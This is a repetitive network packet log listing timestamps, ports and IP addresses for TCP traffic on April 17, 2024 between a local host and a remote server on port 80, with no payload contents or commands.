Apr 17, 2024 06:57:14.049021959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.049052000 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.049213886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.049232960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.049264908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.049292088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.049298048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.049309969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.049339056 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.049367905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.049796104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.049808025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.049819946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.049830914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.049843073 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.049876928 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.049876928 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.050010920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.050023079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.050035000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.050046921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.050070047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.050070047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.050100088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.050268888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.050297976 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.050317049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.050322056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.050331116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.050419092 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.050419092 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.050731897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.050743103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.050750971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.050760984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.050823927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.050823927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.085832119 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.085844994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.085854053 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.085863113 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.085875988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.085899115 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.086186886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.086196899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.086205959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.086215019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.086230040 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.086262941 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.104166985 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.104188919 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.104197979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.104207993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.104213953 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.104240894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.104259968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.104372978 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.104408026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.104454994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.104465008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.104475021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.104497910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.104521990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.104751110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.104793072 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.104804993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.104815960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.104824066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.104844093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.104870081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.105165958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.105175972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.105185032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.105197906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.105211973 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.105245113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.105536938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.105546951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.105556011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.105566025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.105577946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.105602980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.106092930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.106127024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.106129885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.106137037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.106144905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.106180906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.106180906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.106304884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.106323004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.106332064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.106340885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.106343031 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.106415987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.106556892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.106596947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.106606960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.106615067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.106616020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.106616020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.106642008 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.106654882 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.106936932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.106947899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.106973886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.106988907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.107012987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.107022047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.107048035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.107062101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.107248068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.107276917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.107289076 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.107309103 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.107326031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.107336044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.107362032 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.107376099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.107574940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.107616901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.107656956 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.107669115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.107676983 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.107693911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.107709885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.108017921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.108061075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.108069897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.108079910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.108088017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.108114958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.108114958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.108130932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.108391047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.108402014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.108409882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.108418941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.108436108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.108464003 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.108659029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.108701944 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.108712912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.108728886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.108737946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.108747959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.108757973 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.108773947 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.109021902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.109031916 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.109056950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.109070063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.109085083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.109095097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.109119892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.109133959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.143728971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.143755913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.143764973 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.143774033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.143884897 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.143884897 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.144190073 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.144215107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.144253016 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.144387007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.144512892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.144542933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.144581079 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.144581079 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.162246943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.162278891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.162314892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.162329912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.162347078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.162363052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.162379980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.162395000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.162430048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.162430048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.162430048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.162430048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.162430048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.162430048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.162431002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.162431002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.162611961 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.162631035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.162666082 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.162666082 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.162687063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.162703037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.162728071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.162748098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.163069963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.163088083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.163105011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.163120031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.163129091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.163129091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.163161039 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.163161993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.163304090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.163324118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.163347960 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.163355112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.163367033 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.163371086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.163404942 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.163433075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.164391041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.164443970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.164459944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.164465904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.164475918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.164485931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.164503098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.164520979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.164521933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.164539099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.164555073 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.164571047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.164572954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.164597034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.164597988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.164616108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.165035963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.165054083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.165088892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.165115118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.165138960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.165153980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.165170908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.165186882 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.165186882 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.165188074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.165205956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.165224075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.165225983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.165239096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.165268898 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.165272951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.165272951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.165286064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.165302992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.165307045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.165319920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.165330887 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.165370941 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.165549040 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.165582895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.165600061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.165617943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.165621996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.165621996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.165647030 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.165664911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.166030884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.166049004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.166069031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.166089058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.166094065 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.166094065 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.166126013 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.166126013 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.166330099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.166361094 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.166377068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.166383982 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.166392088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.166404963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.166420937 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.166455030 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.166677952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.166724920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.166727066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.166759968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.166768074 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.166774988 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.166809082 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.166809082 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.166981936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.167032957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.167112112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.167129040 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.167145014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.167160034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.167191029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.167191029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.167323112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.167366028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.167371988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.167404890 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.167419910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.167435884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.167469025 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.167469025 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.202379942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.202406883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.202423096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.202445030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.202467918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.202497959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.202513933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.202532053 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.202550888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.202550888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.202550888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.202550888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.202550888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.202550888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.202550888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.202651978 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.220061064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.220089912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.220114946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.220118046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.220129013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.220141888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.220165014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.220165014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.220493078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.220520020 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.220536947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.220546961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.220551968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.220586061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.220616102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.220829964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.220846891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.220871925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.220879078 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.220886946 CEST	80	49730	185.172.128.23	192.168.2.4
